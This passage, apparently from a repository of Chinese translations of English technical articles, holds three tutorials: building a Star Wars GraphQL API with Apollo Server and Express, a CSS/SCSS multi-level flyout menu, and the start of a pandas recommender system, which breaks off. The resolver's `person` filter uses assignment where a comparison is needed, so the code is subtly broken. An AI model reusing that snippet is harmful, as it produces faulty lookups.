API\n\n目前为止我们整理了所有必要的模块以及随附的必要术语。在这一节，我们将用 Apollo Server 为我们的演示去创建一个小的 *Star Wars API*。你可能已经猜到了 Apollo server 是一个库，可以帮助你使用 Nodejs 将 GraphQL schema 连接到 HTTP server。它不局限于特定的 Node 框架。例如上一节中我们使用了 ExpressJS。Apollo Server 支持 [Koa](https://medium.com/crowdbotics/building-a-rest-api-with-koajs-417c276929e2)，Restify，[Hapi](https://medium.com/crowdbotics/setting-up-nodejs-backend-for-a-react-app-fe2219f26ea4) 和 Lambda。对于我们的 API，我们继续使用 Express。\n\n### 使用 Babel 进行编译\n\n如果想从头开始，请继续。从 `Hello World! With GraphQL` 一节安装所有的库。这是我们在前面一节中安装的所有依赖：\n\n```\n\"dependencies\": {\n\t\t\"apollo-server-express\": \"^2.1.0\",\n\t\t\"express\": \"^4.16.4\",\n\t\t\"graphql\": \"^14.0.2\"\n\t}\n```\n\n我将使用相同的项目和相同的文件 `index.js` 去引导服务器启动。但是在我们构建我们的 API 之前，我想告诉你如何在我们的演示项目中使用 ES6 modules。对于使用像 React 和 Angular 这样的前端库，他们已经支持了 ES6 特性。例如 `import` 和 `export default` 这样的语句。Nodejs 版本 `8.x.x` 解决了这个问题。我们所需要的只是一个转换器（transpiler）让我们使用 ES6 特性编写 JavaScript。你完全可以跳过这个步骤使用旧的 `require()` 语句。\n\n那么什么是**转换器**呢？\n\n> **转换器（*Transpiler*）也被称作‘源到源的编译器’，从一种编程语言写的源码中读取代码转换成另一种语言的等效代码。** \n\n在 Nodejs 的情况下，我们不会切换编程语言，而是要使用哪些我目前使用的 LTS 版本的 Node 不支持的语言的新特性。我将安装 [**Babel**](https://babeljs.io/) **编译器**，并通过接下来的配置过程在我们的项目中启用它。\n\n首先，你需要安装一些依赖，记得使用 `-D` 参数。因为我们只会在开发环境中用到这些依赖。\n\n```bash\nnpm install -D babel-cli babel-preset-env babel-watch\n```\n\n只要你成功安装了他们，在项目的根目录下添加一个 `.babelrc` 文件并且添加以下配置：\n\n```\n{\n\t\"presets\": [env]\n}\n```\n\n配置流程的最后一步是在 `package.json` 中添加一个 `dev` `脚本（script）`。一旦（项目文件）发生变化，babel 编译器将自动运行。这由 `babel-watch` 完成。同时它也负责重新启动 [Nodejs](https://www.crowdbotics.com/build/node-js?utm_source=medium&utm_campaign=nodeh&utm_medium=node&utm_content=koa-rest-api) 网络服务器。\n\n```\n\"scripts\": {\n\t\"dev\": \"babel-watch index.js\"\n}\n```\n\n要查看它的操作，请将以下代码添加到 `index.js` 中，看看是否一切正常。\n\n```js\nimport express from 'express';\n\nconst app = express();\n\napp.get('/', (req, res) => res.send('Babel Working!'));\n\napp.listen({ port: 4000 }, () =>\n\tconsole.log(`🚀 Server ready at http://localhost:4000`)\n);\n```\n\n在终端中输入 `npm run dev`，不出意外，你可以看到下面的信息：\n\n![](https://cdn-images-1.medium.com/max/800/1*Cix-Zl8mbZf90qpuHxEB8g.png)\n\n你也可以在浏览器中访问 `http://localhost:4000/` 去看看其操作。\n\n### 添加 Schema\n\n我们需要一个 schema 来启动我们的 GraphQL API。让我们在 `api` 目录下创建一个名字为 `api/schema.js` 的新文件。添加以下 schema。\n\n```js\nimport { gql } from 'apollo-server-express';\n\nconst typeDefs = gql`\n\ttype Person {\n\t\tid: Int\n\t\tname: String\n\t\tgender: String\n\t\thomeworld: String\n\t}\n\ttype Query {\n\t\tallPeople: [Person]\n\t\tperson(id: Int!): Person\n\t}\n`;\n\nexport default typeDefs;\n```\n\n我们的 schema 一共包含两个 query。第一个是 `allPeople`，通过它我们可以列出到 API 中的所有的人物。第二个查询 `person` 是使用他们的 id 检索一个人。这两种查询类型都依赖于一个名为 `Person` 对象的自定义类型，该对象包含四个属性。\n\n### 添加 Resolver\n\n我们已经了解了 resolver 的重要性。它基于一种简单的机制，去关联 schema 和 data。Resolver 是包含 query 或者 mutation 背后的逻辑和函数。然后使用它们来检索数据并在相关请求上返回。\n\n如果在使用 Express 之前构建了服务器，则可以将 resolver 视为控制器，其中每一个控制器都是针对特定路由构建。由于我们不在服务器后面使用数据库，因此我们必须提供一些虚拟数据来模拟我们的 API。\n\n创建一个名为 `resolvers.js` 的新文件并添加下面的文件。\n\n```js\nconst defaultData = [\n\t{\n\t\tid: 1,\n\t\tname: 'Luke SkyWaler',\n\t\tgender: 'male',\n\t\thomeworld: 'Tattoine'\n\t},\n\t{\n\t\tid: 2,\n\t\tname: 'C-3PO',\n\t\tgender: 'bot',\n\t\thomeworld: 'Tattoine'\n\t}\n];\n\nconst resolvers = {\n\tQuery: {\n\t\tallPeople: () => {\n\t\t\treturn defaultData;\n\t\t},\n\t\tperson: (root, { id }) => {\n\t\t\treturn defaultData.filter(character => {\n\t\t\t\treturn (character.id = id);\n\t\t\t})[0];\n\t\t}\n\t}\n};\n\nexport default resolvers;\n```\n\n首先，我们定义 `defaultData` 数组，其中包含 Star Wars 中两个人物的详细信息。根据我们的 schema，数组中的这两个对象都有四个属性。接下来是我们的 `resolvers` 对象，它包含两个函数。这里可以使用 `allPeople()` 来检索 `defaultData` 数组中的所有数据。`person()` 箭头函数使用参数 `id` 来检索具有请求 ID 的 person 对象。这个已经在我们的查询中定义了。\n\n你必须导出 resolver 和 schema 对象才能将它们与 Apollo Server 中间件一起使用。\n\n### 实现服务器\n\n现在我们定义了 schema 和 resolver，我们将要在 `index.js` 文件里边实现服务器。首先从 `apollo-server-express` 导入 Apollo-Server。我们还需要从 `api/` 文件夹导入我们的 schema 和 resolvers 对象。然后，使用 Apollo Server Express 库中的 GraphQL 中间件实例化 GraphQL API。\n\n```js\nimport express from 'express';\nimport { ApolloServer } from 'apollo-server-express';\n\nimport typeDefs from './api/schema';\nimport resolvers from './api/resolvers';\n\nconst app = express();\n\nconst PORT = 4000;\n\nconst SERVER = new ApolloServer({\n\ttypeDefs,\n\tresolvers\n});\n\nSERVER.applyMiddleware({ app });\n\napp.listen(PORT, () =>\n\tconsole.log(`🚀 GraphQL playground is running at http://localhost:4000`)\n);\n```\n\n最后，我们使用 `app.listen()` 来引导我们的 Express 服务器。你现在可以从终端执行命令 `npm run dev` 来运行服务器。服务器节点启动后，将提示成功消息，指示服务器已经启动。\n\n现在要测试我们的 GraphQL API，在浏览器窗口中跳转 `http://localhost:4000/graphql` URL 并运行以下 query。\n\n```\n{\n  allPeople {\n    id\n    name\n    gender\n    homeworld\n  }\n}\n```\n\n点击 *play* 按钮，你将在右侧部分看到熟悉的结果，如下所示。\n\n![](https://cdn-images-1.medium.com/max/1000/1*BnyLxWTl_9yDpoIDLH-Xzg.png)\n\n一切正常，因为我们的查询类型 `allPeople` 具有自定义的业务逻辑，可以使用 resolver 检索所有数据（在我们的例子中，我们在 `resolvers.js` 中作为数据提供的模拟数据）。要获取单个人物对象，请尝试运行类似的其他 query。请记住，必须提供 ID。\n\n```\n{\n\tperson(id: 1) {\n\t\tname\n\t\thomeworld\n\t}\n}\n```\n\n运行上面的查询，在结果中，你可以获得得到的每个字段/属性的值以进行查询。你的结果将类似于以下内容。\n\n![](https://cdn-images-1.medium.com/max/1000/1*DOSW6mN894ZYg498rVxNKg.png)\n\n完美！我相信你一定掌握了如何创建 GraphQL query 并运行它。Apollo Server 库功能很强大。它让我们能够编辑 playground。**假设我们要编辑 playground 的主题**？我们要做的就是在创建 `ApolloServer` 实例时提供一个选项，在我们的例子中是 `SERVER`。\n\n```js\nconst SERVER = new ApolloServer({\n\ttypeDefs,\n\tresolvers,\n\tplayground: {\n\t\tsettings: {\n\t\t\t'editor.theme': 'light'\n\t\t}\n\t}\n});\n```\n\n`playground` 属性有很多功能，例如定义 playground 的默认端点（endpoint）以更改主题。你甚至可以在生产模式启用 playground。更多配置项可以在Apollo Server 的官方文档中找到，[**这里**](https://www.apollographql.com/docs/apollo-server/v2/features/graphql-playground.html)。\n\n更改主题后我们获取下面的结果。\n\n![](https://cdn-images-1.medium.com/max/1000/1*cZ7KO6x0FVXql9c04ZshIA.png)\n\n### 结论\n\n如果你一步一步完成教程，那么**祝贺你！** 🎉\n\n你已经学习了如何使用 Apollo 库配置 Express 服务器来设置您自己的 GraphQL API。Apollo Server 是一个开源项目，是为全栈应用程序创建 GraphQL API 的最稳定的解决方案之一。他还支持客户端开箱即用的 React、Vue、Angular、Meteor 和 Ember 以及使用 Swift 和 Java 的 Native 移动开发。有关这方面的更多信息可以在[**这里**](https://www.apollographql.com/docs/react/)找到。\n\n**在此 Github 仓库中查看教程的完整代码 👇**\n\n* [**amandeepmittal/apollo-express-demo**: Apollo Server Express。通过在 Github 上创建一个账户，为 amandeepmittal/apollo-express-demo 开发做贡献。](https://github.com/amandeepmittal/apollo-express-demo \"https://github.com/amandeepmittal/apollo-express-demo\")\n\n#### 启动一个新的 Node.js 项目，或者寻找一个 Node 开发者？\n\n[**Crowdbotics 帮助企业利用 Node 构建酷炫的东西**](http://crowdbotics.com/build/node-js?utm_source=medium&utm_campaign=nodeh&utm_medium=node&utm_content=koa-rest-api)（除此之外）。如果你有一个 Node 项目，你需要其他开发者资源，请给我们留言。Crowbotics 可以帮助您估算给定产品的功能规格的构建时间，并根据您的需要提供专门的 Node 开发者。**如果你使用 Node 构建，[查看 Crowdbotics](http://crowdbotics.com/build/node-js?utm_source=medium&utm_campaign=nodeh&utm_medium=node&utm_content=koa-rest-api)。**\n\n感谢 [William Wickey](https://medium.com/@wwickey) 提供编辑方面的帮助。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/creating-a-multi-level-hierarchical-flyout-navigation-menu-using-only-html-and-css.md",
    "content": "> * 原文地址：[Creating a multi-level hierarchical flyout navigation menu using only HTML and CSS](https://www.ghosh.dev/posts/creating-a-multi-level-hierarchical-flyout-navigation-menu-using-only-html-and-css/)\n> * 原文作者：[Abhishek Ghosh](https://www.ghosh.dev/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/creating-a-multi-level-hierarchical-flyout-navigation-menu-using-only-html-and-css.md](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-a-multi-level-hierarchical-flyout-navigation-menu-using-only-html-and-css.md)\n> * 译者：[Seven](https://github.com/yzw7489757)\n> * 校对者：[Pingren](https://github.com/Pingren)\n\n# 仅使用 HTML 和 CSS 创建多级嵌套弹出式导航菜单\n\n![alt](https://www.ghosh.dev/static/media/css-nav-menu-1.jpg)\n\n今天，我将为你提供一个关于如何创建分层导航弹出式菜单的快速教程，该菜单可以跨多个级别进行深层嵌套。\n\n作为抛砖引玉，我们将从一个具体的实际用例开始 —— 一个桌面应用程序的示例菜单栏。我将选择 Chrome 浏览器菜单栏中的一个子列表来说明这一点。\n\n我们将从一个简单的界面和外观入手，源自经典的 Windows™ 主题，这里有个短视频告诉你它长什么样：\n\n[css-nav-menu-3.mp4](https://www.ghosh.dev/static/media/css-nav-menu-3.mp4)\n\n在最后，我们会增加一些样式，让它有点像 MacOS™ 的感觉。\n\n### 基础\n\n让我们先了解一下菜单项通常由什么组成。它们应该具有以下属性:\n\n* **Label**：（**必选**）这基本上是菜单项的显示名称\n* **Target**：（**可选**）超链接，将用户带到一个页面，作为对单击菜单项的响应。我们现在将坚持它只是链接。在页面中添加更多的动态特性需要用到JavaScript，我们暂时不需要这么做。这是你以后可以随时轻松添加的东西。\n* **Shortcut**：（**可选**）在我们的例子中，显示一个可用于此菜单项的快捷键组合。例如，“文件 > 新建”在Mac上会是 “Cmd + N”（⌘N）。\n* **Children**：（**可选**）指的是此菜单项的子菜单。想想我们的菜单和子菜单的形式 **递归结构**，从视觉效果来说，具有子菜单的菜单项上还应具有箭头图标 （▶）指示悬停时它可以展开。\n* **Disabled**：（**可选**）指示菜单项是否可以进行交互。\n* 一个概念 **Type** 参数吗？（**可选**）可以用这个模拟不同类型的菜单项。比如，菜单列表中的一些条目应该只起分隔符的作用。\n\n请注意，我们可以继续向菜单添加更复杂的行为。例如，某个菜单可以是一个 **切换** 项，所以，需要某种形式的记号（✔）或与之关联的复选框，以指示其打开/关闭状态。\n\n我们将使用 **CSS classes** 在 HTML 标记上指示这些属性，并编写一些巧妙的样式来传递所有相应的行为。\n\n### 构建 HTML\n\n基于上文，我们的基本菜单 HTML 应该是什么样子：\n\n1. 菜单列表由 HTML `ul` 元素定义，单个菜单项当然是 `li`。\n2. **label** 和 **shortcut** 将作为 `span` 元素放置在 `li` 中的锚（`a`）标签内并带有相应 CSS 类（`label` 或 `shortcut`），所以点击它会调用导航事件，还可以提供一些 UI 反馈，例如在 **Hover** 时突出显示菜单项。\n3. 当菜单项目包含一栏 **子菜单**（Children）们将该子菜单放在当前菜单 `li` 元素（父）中的另一个 `ul` 元素中，依此类推。这个特定的菜单项包含一个子菜单，并且能够添加一些特定的样式以使其正常工作（以及诸如 ▶ 指示符之类的可视元素，）们将向 `li` 此父级添加 `has-children` CSS 类。\n4. 对于像这样的子项 **分隔符**，我们将在 `li` 上中添加一个名为 `separator` 的相应 CSS 类来表示它。\n5. 菜单项可以被 **禁用**，在这种情况下，我们将添加相应的 `disabled` CSS 类。它的作用是使此项无法响应鼠标事件，如悬停或点击。\n6. 我们将把所有东西包装在一个 HTML `nav` 容器元素中。（这样[语义化](https://en.wikipedia.org/wiki/Semantic_HTML)很好）并为其添加 `flyout-nav` 类，以获取我们将添加的CSS样式的一些基本命名空间。\n\n```html\n<nav class=\"flyout-nav\">\n    <ul>\n        <li>\n            <a href=\"#\"><span class=\"label\">File</span></a>\n            <ul>\n                <li>\n                    <a href=\"#\">\n                        <span class=\"label\">New Tab</span>\n                        <span class=\"shortcut\">⌘T</span>\n                    </a>\n                </li>\n                <li>\n                    <a href=\"#\">\n                        <span class=\"label\">New Window</span>\n                        <span class=\"shortcut\">⌘N</span>\n                    </a>\n                </li>\n                <li class=\"separator\"></li>\n                <li class=\"has-children\">\n                    <a href=\"#\">\n                        <span class=\"label\">Share...</span>\n                    </a>\n                    <ul>\n                        <li>\n                            <a href=\"#\">\n                                <span class=\"label\">✉️ Email</span>\n                            </a>\n                        </li>\n                        <li>\n                            <a href=\"#\">\n                                <span class=\"label\">💬 Messages</span>\n                            </a>\n                        </li>\n                    </ul>\n                </li>\n            </ul>\n        </li>\n    </ul>\n</nav>\n```\n\n### 在 CSS 中添加行为\n\n我撒了谎。我们将使用 [SCSS](https://sass-lang.com/) 代替。\n\n不开玩笑了，有趣的部分来了！\n\n默认情况下应该 **隐藏** 菜单（第一级 `导航菜单条` 除外）。\n\n只有在使用鼠标指针悬停相应的菜单项时，才应显示第一级下的任何内容。你可能已经猜到了，为了这个我们将严重依赖 CSS 的 [`hover`伪类](https://developer.mozilla.org/en-US/docs/Web/CSS/:hover)。\n\n#### 排列菜单和子菜单元素\n\n理解我们如何使子菜单位置的正确并将其自身与父菜单项对齐也许是整个谜题中最棘手的一点。这就是 CSS [定位](https://developer.mozilla.org/en-us/docs/web/css/position)的一些知识来源。让我们看看这个。\n\n我们之所以选择将子菜单 `ul` 元素放在“父” `li` 元素中是有原因的。当然，它有助于我们在逻辑上适当地将分层内容的标记组合在一起。它还有另一个目的，即允许我们轻松编写一些 CSS 来**相对**于父元素的位置定位子元素。然后我们将这个概念一直延伸到根元素 `ul` 和 `li`。\n\n为此，我们将使用 `absolute` 定位和 `top` 的组合，`left` CSS 属性将帮助我们相对于其最近的**非静态定位祖先（closest non-static positioned ancestor）** 定位子元素定义[包含块](https://developer.mozilla.org/en-US/docs/Web/CSS/Containing_block)。非静态（non-static）的意思是元素的 CSS position 属性不是 `static`（这默认发生在 HTML 文档流中），但它是 `relative`、`absolute`、`fixed` 或者 `sticky` 其中之一。为了确保这一点，我们将把 position `relative` 分配给 `li` 元素，并将其子元素 `ul` 的 position 设置为 `absolute`。\n\n```scss\n.flyout-nav {\n    // 任何级别的菜单项列表\n    ul {\n        margin: 0;\n        padding: 0;\n        position: absolute;\n        display: none;\n        list-style-type: none;\n    }\n\n    // 菜单项\n    li {\n        position: relative;\n        display: block;\n\n        // 显示上的下一级下拉列表\n        // 在同一高度的右边\n        &:hover {\n            & > ul {\n                display: block;\n                top: 0;\n                left: 100%;\n            }\n        }\n    }\n```\n\n其效果如下图所示，并在红色框中突出显示以供说明。为了使图片看起来更漂亮，我们在图片中添加了一些用于视觉样式的 CSS，但是核心行为是由上面的内容定义的。这使其在 N 层嵌套内（在实用性的限制范围内）保持良好的工作状态。\n\n![子菜单位置](https://www.ghosh.dev/static/media/css-nav-menu-4.jpg)\n\n但有一个例外，即第一级菜单项列表（在我们的示例中，File、Edit、View...），其子菜单项需要放在 **下方** 而不是右侧。为了处理这个问题，我们添加了一些新的样式重写了之前的 CSS。\n\n```scss\n.flyout-nav {\n    // ... 其他的东西\n\n    // 一级行为的覆盖（导航菜单条）\n    & > ul {\n        display: flex;\n        flex-flow: row nowrap;\n        justify-content: flex-start;\n        align-items: stretch;\n\n        // 应显示第一级下拉列表\n        // 在同一左侧位置\n        & > li:hover > ul {\n            top: 100%;\n            left: 0;\n        }\n    }\n}\n```\n\n请注意，在这里不一定非要使用弹性盒子 `flex-box`，这只是我做的选择。你也可以使用其他方法实现类似的行为，例如在 `ul` 和 `li` 项上组合 `display: block` 和 `display: inline-block`。\n\n##### UI 美化\n\n一旦我们完成了对菜单项定位的基本操作，我们将继续编写一些额外的样式，如字体、大小、颜色、背景和阴影等，以使 UI 感觉更好。\n\n为了一致性和重用，我们采取使用一组 SCSS 变量定义和共享了这些值。像这样...\n\n```scss\n// 变量\n$page-bg: #607d8b;\n$base-font-size: 16px; // 变成 1rem\n$menu-silver: #eee;\n$menu-border: #dedede;\n$menu-focused: #1e88e5;\n$menu-separator: #ccc;\n$menu-text-color: #333;\n$menu-shortcut-color: #999;\n$menu-focused-text-color: #fff;\n$menu-text-color-disabled: #999;\n$menu-border-width: 1px;\n$menu-shadow: 2px 2px 3px -3px $menu-text-color;\n$menu-content-padding: 0.5rem 1rem 0.5rem 1.75rem;\n$menu-border-radius: 0.5rem;\n$menu-top-padding: 0.25rem;\n```\n\n我们还剩下一些部分要添加合适的样式和特性。我们现在将会快速地把它们过一遍。\n\n##### Anchors、Labels 和 Shortcuts —— 真正的视觉元素\n\n```scss\n.flyout-nav {\n    // ... 其他的东西\n\n    li {\n        // ... 其他的东西\n\n        // 菜单项-文本、快捷方式信息和悬停效果（蓝色背景）\n        a {\n            text-decoration: none;\n            color: $menu-text-color;\n            position: relative;\n            display: table;\n            width: 100%;\n\n            .label,\n            .shortcut {\n                display: table-cell;\n                padding: $menu-content-padding;\n            }\n\n            .shortcut {\n                text-align: right;\n                color: $menu-shortcut-color;\n            }\n\n            label {\n                cursor: pointer;\n            }\n\n            // 对于切换的菜单项\n            input[type='checkbox'] {\n                display: none;\n            }\n\n            input[type='checkbox']:checked + .label {\n                &::before {\n                    content: '✔️';\n                    position: absolute;\n                    top: 0;\n                    left: 0.25rem;\n                    padding: 0.25rem;\n                }\n            }\n\n            &:hover {\n                background: $menu-focused;\n                .label,\n                .shortcut {\n                    color: $menu-focused-text-color;\n                }\n            }\n        }\n    }\n}\n```\n\n这段代码的大部分内容都是简单明了的。但是，你注意到什么有趣的事情了吗？关于 `input[type='checkbox']` ？\n\n##### 切换项\n\n对于切换，我们使用隐藏的 HTML 复选框元素来维护状态（打开或关闭）并相应地使用 [`::before`伪元素](https://developer.mozilla.org/en-US/docs/Web/CSS/::before)为标签设置样式。我们可以使用一个简单的 CSS [相邻兄弟选择器](https://developer.mozilla.org/en-US/docs/Web/CSS/Adjacent_sibling_combinator)来做到这一点。\n\n该菜单项的相应 HTML 标记如下所示：\n\n```html\n<li>\n    <a href=\"#\">\n        <input type=\"checkbox\" id=\"alwaysShowBookmarksBar\" checked=\"true\" />\n        <label class=\"label\" for=\"alwaysShowBookmarksBar\">Always Show Bookmarks Bar</label>\n        <span class=\"shortcut\">⇧⌘B</span>\n    </a>\n</li>\n```\n\n##### 分隔符\n\n```scss\n.flyout-nav {\n    // ... 其他的东西\n\n    li {\n        // ... 其他的东西\n\n        // 分隔符项\n        &.separator {\n            margin-bottom: $menu-top-padding;\n            border-bottom: $menu-border-width solid $menu-separator;\n            padding-bottom: $menu-top-padding;\n        }\n    }\n}\n```\n\n##### 禁用\n\n```scss\n.flyout-nav {\n    // ... 其他的东西\n\n    li {\n        // ... 其他的东西\n\n        // 不要让禁用的选项响应 hover\n        // 或者点击并给它们涂上不同的颜色\n        &.disabled {\n            .label,\n            .shortcut {\n                color: $menu-text-color-disabled;\n            }\n            pointer-events: none;\n        }\n    }\n}\n```\n\nCSS [pointer-events](https://developer.mozilla.org/en-US/docs/Web/CSS/pointer-events) 在这有个实用的技巧。将其设置为 `none` 将变成不可选的鼠标事件目标对象。\n\n### 把它们组合一起...\n\n现在我们已经了解了这些构造块，让我们把它们组合一起。这里有一个 CodePen 链接到我们的多层次弹出式导航菜单的行动！\n\n示例:[仅限于CSS的多级嵌套弹出式导航菜单](https://codepen.io/abhishekcghosh/pen/WqjOaX)\n\n#### 更漂亮的主题\n\n如果你不喜欢复古 Windows 的外观，这是同一代码的另一个版本，对 CSS 进行了一些细微的调整，使其看起来和感觉更像 MacOS。\n\n示例：[仅限于 CSS 的多级嵌套弹出式导航菜单（类似于 MacOS）](https://codepen.io/abhishekcghosh/pen/qzmEWd)\n\n### 什么不管用？\n\n有一些事情我们还没有处理。首先，\n\n* 如果你对此非常挑剔的话，虽然大多数效果都很好，但刻意只使用 CSS 的方法有局限性，与现实世界的 Windows 和 MacOS 应用程序菜单不同，我们的菜单会在鼠标移出外部时立即隐藏。为了使用起来更方便，通常我们想要做的是在点击之后再隐藏（总是可以用一点 JS 来实现）。\n* 如果菜单中的项目列表太长怎么办？以书签列表为例。在某些情况下，可能需要将其限制在可滚动视图中，例如按视口高度的某个百分比表示。归根结底，它取决你正在构建的用户体验，但我也想把这些讲清楚。\n\n希望这是有用的。干杯！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/creating-a-simple-recommender-system-in-python-using-pandas.md",
    "content": "> * 原文地址：[Creating a Simple Recommender System in Python using Pandas](https://stackabuse.com/creating-a-simple-recommender-system-in-python-using-pandas/)\n> * 原文作者：[Usman Malik](https://twitter.com/usman_malikk)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/creating-a-simple-recommender-system-in-python-using-pandas.md](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-a-simple-recommender-system-in-python-using-pandas.md)\n> * 译者：[xilihuasi](https://github.com/xilihuasi)\n> * 校对者：[TrWestdoor](https://github.com/TrWestdoor)\n\n# 使用 Pandas 在 Python 中创建一个简单的推荐系统\n\n## 简介\n\n你有没有想过 Netflix 如何根据你已经看过的电影向你推荐电影？或者电商网站如何显示诸如“经常一起购买”等选项？它们可能看起来只是简单的选项，但是背后执行了一套复杂的统计算法以预测这些推荐。这样的系统被称为导购系统，推荐系统或者推荐引擎。[导购系统](https://en.wikipedia.org/wiki/Recommender_system)是数据科学和机器学习领域最著名的应用之一。\n\n推荐系统采用这样一种统计算法，该算法基于实体之间的相似性或先前评估这些实体的用户之间的相似性来预测用户对特定实体的评级。直观上来讲就是相似类型的用户可能对同一组实体具有相似的评级。\n\n目前，许多大型科技公司都以这样或那样的方式使用推荐系统。从亚马逊（产品推荐）到 YouTube（视频推荐）再到 Facebook（朋友推荐）你会发现推荐系统无处不在。给用户推荐相关产品和服务的能力对公司来说可能是一个巨大的推动力，这就是为什么此技术在众多网站中被普遍运用的原因。\n\n在这篇文章中，我们将看到如何在 Python 中构建一个简单的推荐系统。\n\n### 推荐系统的类型\n\n主要有两种方式构建推荐系统：基于内容的过滤和协同过滤：\n\n#### 基于内容过滤\n\n在基于内容的过滤中，不同产品的相似性是根据产品的属性计算出来的。例如，在一个基于内容的电影推荐系统中，电影之间的相似性是根据类型，电影中的演员，电影导演等计算的。\n\n#### 协同过滤\n\n协同过滤利用人群的力量。协同过滤背后的直觉是如果 A 用户喜欢产品 X 和 Y，那么如果 B 用户喜欢产品 X，他就有相当大的可能同样喜欢产品 Y。\n\n举一个电影推荐系统的例子。假设大量的用户对电影 X 和 Y 给出一样的评分。一个新用户来了，他对电影 X 给出了相同的评分但是还没看过电影 Y。协同过滤系统就会把电影 Y 推荐给他。\n\n### Python 中的电影推荐系统实现\n\n在这一节，我们将使用 Python 开发一个非常简单的电影推荐系统，它使用不同电影间的评分相关性，以便找到电影之间的相似性。\n\n我们将使用 MovieLens 数据集来处理该问题。要下载此数据集，可以去数据集的[主页](https://grouplens.org/datasets/movielens/latest/)下载 \"ml-latest-small.zip\" 文件，它包含真实电影数据集的子集并且有 700 个用户对 9000 部电影做出的 100000 条评分。\n\n当你解压文件后，就能看到 \"links.csv\"、\"movies.csv\"、\"ratings.csv\" 和 \"tags.csv\" 文件，以及 \"README\" 文档。在本文中，我们会使用到 \"movies.csv\" 和 \"ratings.csv\" 文件。\n\n对于本文中的脚本，解压的 \"ml-latest-small\" 文件夹已经被放在了 \"E\" 盘的 \"Datasets\" 文件夹中。\n\n#### 数据可视化和预处理\n\n每个数据科学问题的第一步都是数据可视化和预处理。我们也是如此，接下来我们先导入 \"ratings.csv\" 文件看看它有哪些内容。执行如下脚本：\n\n```\nimport numpy as np\nimport pandas as pd\n\nratings_data = pd.read_csv(\"E:\\Datasets\\ml-latest-small\\\\ratings.csv\")\nratings_data.head()\n```\n\n在上面的脚本中，我们使用 [Pandas 库](https://stackabuse.com/beginners-tutorial-on-the-pandas-python-library/) 的 `read_csv()` 方法读取 \"ratings.csv\" 文件。接下来，我们调用 `read_csv()` 函数返回的 dataframe 对象的 `head()` 方法。它将展示数据集的前五行数据。\n\n输出结果如下：\n\n|   | userId | movieId | rating\ttimestamp |\n|---|---|------|-----|------------|\n| 0\t| 1\t| 31   | 2.5 | 1260759144 |\n| 1\t| 1\t| 1029 | 3.0 | 1260759179 |\n| 2\t| 1\t| 1061 | 3.0 | 1260759182 |\n| 3\t| 1\t| 1129 | 2.0 | 1260759185 |\n| 4\t| 1\t| 1172 | 4.0 | 1260759205 |\n\n从输出结果中可以看出 \"ratings.csv\" 文件包含 userId、movieId、ratings 和 timestamp 属性。数据集的每一行对应一条评分。userId 列包含评分用户的 ID。movieId 列包含电影的 Id，rating 列包含用户的评分。评分的取值是 1 到 5。最后的 timestamp 代表用户做出评分的时间。\n\n这个数据集有一个问题。那就是它有电影的 ID 却没有电影名称。我们需要我们要推荐的电影的名称。而电影名称存在 \"movies.csv\" 文件中。让我们导入它看看里面有什么内容吧。执行如下脚本：\n\n```\nmovie_names = pd.read_csv(\"E:\\Datasets\\ml-latest-small\\\\movies.csv\")  \nmovie_names.head()  \n```\n\n输出结果如下：\n\n\n|   | movieId | title | genres |\n|---|---------|-------|--------|\n| 0 | 1\t| Toy Story (1995) | `Adventure|Animation|Children|Comedy|Fantasy` |\n| 1 | 2\t| Jumanji (1995) | `Adventure|Children|Fantasy` |\n| 2 | 3\t| Grumpier Old Men (1995) | `Comedy|Romance` |\n| 3 | 4\t| Waiting to Exhale (1995) | `Comedy|Drama|Romance` |\n| 4 | 5\t| Father of the Bride Part II (1995) | `Comedy` |\n\n如你所见，数据集包含 movieId，电影名称和它的类型。我们需要一个包含 userId，电影名称和评分的数据集。而我们需要的信息在两个不同的 dataframe 对象中：\"ratings_data\" 和 \"movie_names\"。为了把我们想要的信息放在一个 dataframe 中，我们可以根据 movieId 列合并这两个 dataframe 对象，因为它在这两个 dataframe 对象中是通用的。\n\n我们可以使用 Pandas 库的 `merge()` 函数，如下所示：\n\n```\nmovie_data = pd.merge(ratings_data, movie_names, on='movieId')\n```\n\n现在我们来看看新的 